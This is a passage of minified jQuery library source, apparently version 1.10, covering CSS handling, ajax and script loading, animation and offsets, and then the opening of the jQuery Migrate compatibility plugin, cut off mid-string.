p.push(t.createTextNode(s));u&&h.removeChild(u),w.support.appendChecked||w.grep(jt(p,"input"),Ft),d=0;while(s=p[d++])if((!r||-1===w.inArray(s,r))&&(o=w.contains(s.ownerDocument,s),u=jt(h.appendChild(s),"script"),o&&Pt(u),n)){i=0;while(s=u[i++])Nt.test(s.type||"")&&n.push(s)}return u=null,h},cleanData:function(e,t){var n,r,s,o,u=0,a=w.expando,f=w.cache,l=w.support.deleteExpando,h=w.event.special;for(;null!=(n=e[u]);u++)if((t||w.acceptData(n))&&(s=n[a],o=s&&f[s])){if(o.events)for(r in o.events)h[r]?w.event.remove(n,r):w.removeEvent(n,r,o.handle);f[s]&&(delete f[s],l?delete n[a]:typeof n.removeAttribute!==i?n.removeAttribute(a):n[a]=null,c.push(s))}},_evalUrl:function(e){return w.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),w.fn.extend({wrapAll:function(e){if(w.isFunction(e))return this.each(function(t){w(this).wrapAll(e.call(this,t))});if(this[0]){var t=w(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return w.isFunction(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=w.isFunction(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){w.nodeName(this,"body")||w(this).replaceWith(this.childNodes)}).end()}});var It,qt,Rt,Ut=/alpha\([^)]*\)/i,zt=/opacity\s*=\s*([^)]*)/,Wt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Vt=/^margin/,$t=RegExp("^("+E+")(.*)$","i"),Jt=RegExp("^("+E+")(?!px)[a-z%]+$","i"),Kt=RegExp("^([+-])=("+E+")","i"),Qt={BODY:"block"},Gt={position:"absolute",visibility:"hidden",display:"block"},Yt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];w.fn.extend({css:function(e,n){return w.access(this,function(e,n,r){var i,s,o={},u=0;if(w.isArray(n)){for(s=qt(e),i=n.length;i>u;u++)o[n[u]]=w.css(e,n[u],!1,s);return o}return r!==t?w.style(e,n,r):w.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?w(this).show():w(this).hide()})}}),w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Rt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":w.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var s,o,u,a=w.camelCase(n),f=e.style;if(n=w.cssProps[a]||(w.cssProps[a]=tn(f,a)),u=w.cssHooks[n]||w.cssHooks[a],r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];if(o=typeof r,"string"===o&&(s=Kt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(w.css(e,n)),o="number"),!(null==r||"number"===o&&isNaN(r)||("number"!==o||w.cssNumber[a]||(r+="px"),w.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(f[n]="inherit"),u&&"set"in u&&(r=u.set(e,r,i))===t)))try{f[n]=r}catch(l){}}},css:function(e,n,r,i){var s,o,u,a=w.camelCase(n);return n=w.cssProps[a]||(w.cssProps[a]=tn(e.style,a)),u=w.cssHooks[n]||w.cssHooks[a],u&&"get"in u&&(o=u.get(e,!0,r)),o===t&&(o=Rt(e,n,i)),"normal"===o&&n in Yt&&(o=Yt[n]),""===r||r?(s=parseFloat(o),r===!0||w.isNumeric(s)?s||0:o):o}}),e.getComputedStyle?(qt=function(t){return e.getComputedStyle(t,null)},Rt=function(e,n,r){var i,s,o,u=r||qt(e),a=u?u.getPropertyValue(n)||u[n]:t,f=e.style;return u&&(""!==a||w.contains(e.ownerDocument,e)||(a=w.style(e,n)),Jt.test(a)&&Vt.test(n)&&(i=f.width,s=f.minWidth,o=f.maxWidth,f.minWidth=f.maxWidth=f.width=a,a=u.width,f.width=i,f.minWidth=s,f.maxWidth=o)),a}):o.documentElement.currentStyle&&(qt=function(e){return e.currentStyle},Rt=function(e,n,r){var i,s,o,u=r||qt(e),a=u?u[n]:t,f=e.style;return null==a&&f&&f[n]&&(a=f[n]),Jt.test(a)&&!Wt.test(n)&&(i=f.left,s=e.runtimeStyle,o=s&&s.left,o&&(s.left=e.currentStyle.left),f.left="fontSize"===n?"1em":a,a=f.pixelLeft+"px",f.left=i,o&&(s.left=o)),""===a?"auto":a});w.each(["height","width"],function(e,n){w.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(w.css(e,"display"))?w.swap(e,Gt,function(){return un(e,n,i)}):un(e,n,i):t},set:function(e,t,r){var i=r&&qt(e);return sn(e,t,r?on(e,n,r,w.support.boxSizing&&"border-box"===w.css(e,"boxSizing",!1,i),i):0)}}}),w.support.opacity||(w.cssHooks.opacity={get:function(e,t){return zt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=w.isNumeric(t)?"alpha(opacity="+100*t+")":"",s=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===w.trim(s.replace(Ut,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=Ut.test(s)?s.replace(Ut,i):s+" "+i)}}),w(function(){w.support.reliableMarginRight||(w.cssHooks.marginRight={get:function(e,n){return n?w.swap(e,{display:"inline-block"},Rt,[e,"marginRight"]):t}}),!w.support.pixelPosition&&w.fn.position&&w.each(["top","left"],function(e,n){w.cssHooks[n]={get:function(e,r){return r?(r=Rt(e,n),Jt.test(r)?w(e).position()[n]+"px":r):t}}})}),w.expr&&w.expr.filters&&(w.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!w.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||w.css(e,"display"))},w.expr.filters.visible=function(e){return!w.expr.filters.hidden(e)}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){var r=0,i={},s="string"==typeof n?n.split(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=s[r]||s[r-2]||s[0];return i}},Vt.test(e)||(w.cssHooks[e+t].set=sn)});var ln=/%20/g,cn=/\[\]$/,hn=/\r?\n/g,pn=/^(?:submit|button|image|reset|file)$/i,dn=/^(?:input|select|textarea|keygen)/i;w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&dn.test(this.nodeName)&&!pn.test(e)&&(this.checked||!xt.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:w.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(hn,"\r\n")}}):{name:t.name,value:n.replace(hn,"\r\n")}}).get()}}),w.param=function(e,n){var r,i=[],s=function(e,t){t=w.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&(n=w.ajaxSettings&&w.ajaxSettings.traditional),w.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){s(this.name,this.value)});else for(r in e)vn(r,e[r],n,s);return i.join("&").replace(ln,"+")};w.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,gn,yn=w.now(),bn=/\?/,wn=/#.*$/,En=/([?&])_=[^&]*/,Sn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,xn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Tn=/^(?:GET|HEAD)$/,Nn=/^\/\//,Cn=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,kn=w.fn.load,Ln={},An={},On="*/".concat("*");try{gn=s.href}catch(Mn){gn=o.createElement("a"),gn.href="",gn=gn.href}mn=Cn.exec(gn.toLowerCase())||[];w.fn.load=function(e,n,r){if("string"!=typeof e&&kn)return kn.apply(this,arguments);var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),w.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(o="POST"),u.length>0&&w.ajax({url:e,type:o,dataType:"html",data:n}).done(function(e){s=arguments,u.html(i?w("<div>").append(w.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){u.each(r,s||[e.responseText,t,e])}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:gn,type:"GET",isLocal:xn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":On,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":w.parseJSON,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Pn(Pn(e,w.ajaxSettings),t):Pn(w.ajaxSettings,e)},ajaxPrefilter:_n(Ln),ajaxTransport:_n(An),ajax:function(e,n){function N(e,n,r,i){var l,g,y,E,S,T=n;2!==b&&(b=2,u&&clearTimeout(u),f=t,o=i||"",x.readyState=e>0?4:0,l=e>=200&&300>e||304===e,r&&(E=Hn(c,x,r)),E=Bn(c,E,x,l),l?(c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(w.lastModified[s]=S),S=x.getResponseHeader("etag"),S&&(w.etag[s]=S)),204===e||"HEAD"===c.type?T="nocontent":304===e?T="notmodified":(T=E.state,g=E.data,y=E.error,l=!y)):(y=T,(e||!T)&&(T="error",0>e&&(e=0))),x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[g,T,x]):d.rejectWith(h,[x,T,y]),x.statusCode(m),m=t,a&&p.trigger(l?"ajaxSuccess":"ajaxError",[x,c,l?g:y]),v.fireWith(h,[x,T]),a&&(p.trigger("ajaxComplete",[x,c]),--w.active||w.event.trigger("ajaxStop")))}"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=w.ajaxSetup({},n),h=c.context||c,p=c.context&&(h.nodeType||h.jquery)?w(h):w.event,d=w.Deferred(),v=w.Callbacks("once memory"),m=c.statusCode||{},g={},y={},b=0,E="canceled",x={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!l){l={};while(t=Sn.exec(o))l[t[1].toLowerCase()]=t[2]}t=l[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?o:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=y[n]=y[n]||e,g[e]=t),this},overrideMimeType:function(e){return b||(c.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)m[t]=[m[t],e[t]];else x.always(e[x.status]);return this},abort:function(e){var t=e||E;return f&&f.abort(t),N(0,t),this}};if(d.promise(x).complete=v.add,x.success=x.done,x.error=x.fail,c.url=((e||c.url||gn)+"").replace(wn,"").replace(Nn,mn[1]+"//"),c.type=n.method||n.type||c.method||c.type,c.dataTypes=w.trim(c.dataType||"*").toLowerCase().match(S)||[""],null==c.crossDomain&&(r=Cn.exec(c.url.toLowerCase()),c.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),c.data&&c.processData&&"string"!=typeof c.data&&(c.data=w.param(c.data,c.traditional)),Dn(Ln,c,n,x),2===b)return x;a=c.global,a&&0===w.active++&&w.event.trigger("ajaxStart"),c.type=c.type.toUpperCase(),c.hasContent=!Tn.test(c.type),s=c.url,c.hasContent||(c.data&&(s=c.url+=(bn.test(s)?"&":"?")+c.data,delete c.data),c.cache===!1&&(c.url=En.test(s)?s.replace(En,"$1_="+yn++):s+(bn.test(s)?"&":"?")+"_="+yn++)),c.ifModified&&(w.lastModified[s]&&x.setRequestHeader("If-Modified-Since",w.lastModified[s]),w.etag[s]&&x.setRequestHeader("If-None-Match",w.etag[s])),(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+("*"!==c.dataTypes[0]?", "+On+"; q=0.01":""):c.accepts["*"]);for(i in c.headers)x.setRequestHeader(i,c.headers[i]);if(c.beforeSend&&(c.beforeSend.call(h,x,c)===!1||2===b))return x.abort();E="abort";for(i in{success:1,error:1,complete:1})x[i](c[i]);if(f=Dn(An,c,n,x)){x.readyState=1,a&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{b=1,f.send(g,N)}catch(T){if(!(2>b))throw T;N(-1,T)}}else N(-1,"No Transport");return x},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,n){return w.get(e,t,n,"script")}}),w.each(["get","post"],function(e,n){w[n]=function(e,r,i,s){return w.isFunction(r)&&(s=s||i,i=r,r=t),w.ajax({url:e,type:n,dataType:s,data:r,success:i})}});w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),w.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=o.head||w("head")[0]||o.documentElement;return{send:function(t,i){n=o.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var jn=[],Fn=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=jn.pop()||w.expando+"_"+yn++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.jsonp!==!1&&(Fn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Fn.test(n.data)&&"data");return a||"jsonp"===n.dataTypes[0]?(s=n.jsonpCallback=w.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,a?n[a]=n[a].replace(Fn,"$1"+s):n.jsonp!==!1&&(n.url+=(bn.test(n.url)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||w.error(s+" was not called"),u[0]},n.dataTypes[0]="json",o=e[s],e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,jn.push(s)),u&&w.isFunction(o)&&o(u[0]),u=o=t}),"script"):t});var In,qn,Rn=0,Un=e.ActiveXObject&&function(){var e;for(e in In)In[e](t,!0)};w.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&zn()||Wn()}:zn,qn=w.ajaxSettings.xhr(),w.support.cors=!!qn&&"withCredentials"in qn,qn=w.support.ajax=!!qn,qn&&w.ajaxTransport(function(n){if(!n.crossDomain||w.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();if(n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async),n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c;try{if(r&&(i||4===a.readyState))if(r=t,o&&(a.onreadystatechange=w.noop,Un&&delete In[o]),i)4!==a.readyState&&a.abort();else{c={},u=a.status,f=a.getAllResponseHeaders(),"string"==typeof a.responseText&&(c.text=a.responseText);try{l=a.statusText}catch(h){l=""}u||!n.isLocal||n.crossDomain?1223===u&&(u=204):u=c.text?200:404}}catch(p){i||s(-1,p)}c&&s(u,l,c,f)},n.async?4===a.readyState?setTimeout(r):(o=++Rn,Un&&(In||(In={},w(e).unload(Un)),In[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Vn,$n=/^(?:toggle|show|hide)$/,Jn=RegExp("^(?:([+-])=|)("+E+")([a-z%]*)$","i"),Kn=/queueHooks$/,Qn=[nr],Gn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Jn.exec(t),s=i&&i[3]||(w.cssNumber[e]?"":"px"),o=(w.cssNumber[e]||"px"!==s&&+r)&&Jn.exec(w.css(n.elem,e)),u=1,a=20;if(o&&o[3]!==s){s=s||o[3],i=i||[],o=+r||1;do u=u||".5",o/=u,w.style(n.elem,e,o+s);while(u!==(u=n.cur()/r)&&1!==u&&--a)}return i&&(o=n.start=+o||+r||0,n.unit=s,n.end=i[1]?o+(i[1]+1)*i[2]:+i[2]),n}]};w.Animation=w.extend(er,{tweener:function(e,t){w.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Gn[n]=Gn[n]||[],Gn[n].unshift(t)},prefilter:function(e,t){t?Qn.unshift(e):Qn.push(e)}});w.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(w.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=w.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[w.cssProps[e.prop]]||w.cssHooks[e.prop])?w.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),s=w.speed(t,n,r),o=function(){var t=er(this,w.extend({},e),s);(i||w._data(this,"finish"))&&t.stop(!0)};return o.finish=o,i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",s=w.timers,o=w._data(this);if(n)o[n]&&o[n].stop&&i(o[n]);else for(n in o)o[n]&&o[n].stop&&Kn.test(n)&&i(o[n]);for(n=s.length;n--;)s[n].elem!==this||null!=e&&s[n].queue!==e||(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)&&w.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=w._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],s=w.timers,o=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=s.length;t--;)s[t].elem===this&&s[t].queue===e&&(s[t].anim.stop(!0),s.splice(t,1));for(t=0;o>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});w.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||w.isFunction(e)&&e,duration:e,easing:n&&t||t&&!w.isFunction(t)&&t};return r.duration=w.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in w.fx.speeds?w.fx.speeds[r.duration]:w.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){w.isFunction(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},w.timers=[],w.fx=rr.prototype.init,w.fx.tick=function(){var e,n=w.timers,r=0;for(Xn=w.now();n.length>r;r++)e=n[r],e()||n[r]!==e||n.splice(r--,1);n.length||w.fx.stop(),Xn=t},w.fx.timer=function(e){e()&&w.timers.push(e)&&w.fx.start()},w.fx.interval=13,w.fx.start=function(){Vn||(Vn=setInterval(w.fx.tick,w.fx.interval))},w.fx.stop=function(){clearInterval(Vn),Vn=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fx.step={},w.expr&&w.expr.filters&&(w.expr.filters.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length}),w.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){w.offset.setOffset(this,e,t)});var n,r,s={top:0,left:0},o=this[0],u=o&&o.ownerDocument;if(u)return n=u.documentElement,w.contains(n,o)?(typeof o.getBoundingClientRect!==i&&(s=o.getBoundingClientRect()),r=sr(u),{top:s.top+(r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:s.left+(r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):s},w.offset={setOffset:function(e,t,n){var r=w.css(e,"position");"static"===r&&(e.style.position="relative");var i=w(e),s=i.offset(),o=w.css(e,"top"),u=w.css(e,"left"),a=("absolute"===r||"fixed"===r)&&w.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),w.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(f.top=t.top-s.top+c),null!=t.left&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},w.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===w.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),w.nodeName(e[0],"html")||(n=e.offset()),n.top+=w.css(e[0],"borderTopWidth",!0),n.left+=w.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-w.css(r,"marginTop",!0),left:t.left-n.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||u;while(e&&!w.nodeName(e,"html")&&"static"===w.css(e,"position"))e=e.offsetParent;return e||u})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);w.fn[e]=function(i){return w.access(this,function(e,i,s){var o=sr(e);return s===t?o?n in o?o[n]:o.document.documentElement[i]:e[i]:(o?o.scrollTo(r?w(o).scrollLeft():s,r?s:w(o).scrollTop()):e[i]=s,t)},e,i,arguments.length,null)}});w.each({Height:"height",Width:"width"},function(e,n){w.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){w.fn[i]=function(i,s){var o=arguments.length&&(r||"boolean"!=typeof i),u=r||(i===!0||s===!0?"margin":"border");return w.access(this,function(n,r,i){var s;return w.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?w.css(n,r,u):w.style(n,r,i,u)},n,o?i:t,o,null)}})}),w.fn.size=function(){return this.length},w.fn.andSelf=w.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=w:(e.jQuery=e.$=w,"function"==typeof define&&define.amd&&define("jquery",[],function(){return w}))})(window);jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;s[n]||(s[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function i(t,i,s,o){if(Object.defineProperty)try{return Object.defineProperty(t,i,{configurable:!0,enumerable:!0,get:function(){return r(o),s},set:function(e){r(o),s=e}}),n}catch(u){}e._definePropertyBroken=!0,t[i]=s}var s={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){s={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,u=e.attr,a=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},f=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,c=/^[238]$/,h=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,p=/^(?:checked|selected)$/i;i(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,i,s,a){var f=i.toLowerCase(),d=t&&t.nodeType;return a&&(4>u.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!c.test(d)&&(o?i in o:e.isFunction(e.fn[i])))?e(t)[i](s):("type"===i&&s!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[f]&&h.test(f)&&(e.attrHooks[f]={get:function(t,r){var i,s=e.prop(t,r);return s===!0||"boolean"!=typeof s&&(i=t.getAttributeNode(r))&&i.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var i;return n===!1?e.removeAttr(t,r):(i=e.propFix[r]||r,i in t&&(t[i]=!0),t.setAttribute(r,r.toLowerCase())),r}},p.test(f)&&r("jQuery.fn.attr('"+f+"') may use property instead of attribute")),u.call(e,t,i,s))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?a.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var i=(e.nodeName||"").toLowerCase();return"button"===i?f.apply(this,arguments):("input"!==i&&"option"!==i&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var d,v,m=e.fn.init,g=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,i){var s;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(s=y.exec(e.trim(t)))&&s[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),s[3]&&r("$(html) HTML text after last tag is ignored"),"#"===s[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?m.call(this,e.parseHTML(s[2],n,!0),n,i):m.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?g.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(d=e.uaMatch(navigator.userAgent),v={},d.browser&&(v[d.browser]=!0,v.version=d.version),v.chrome?v.webkit=!0:v.webkit&&(v.safari=!0),e.browser=v),i(e,"browser",e.browser,"jQuery.browser 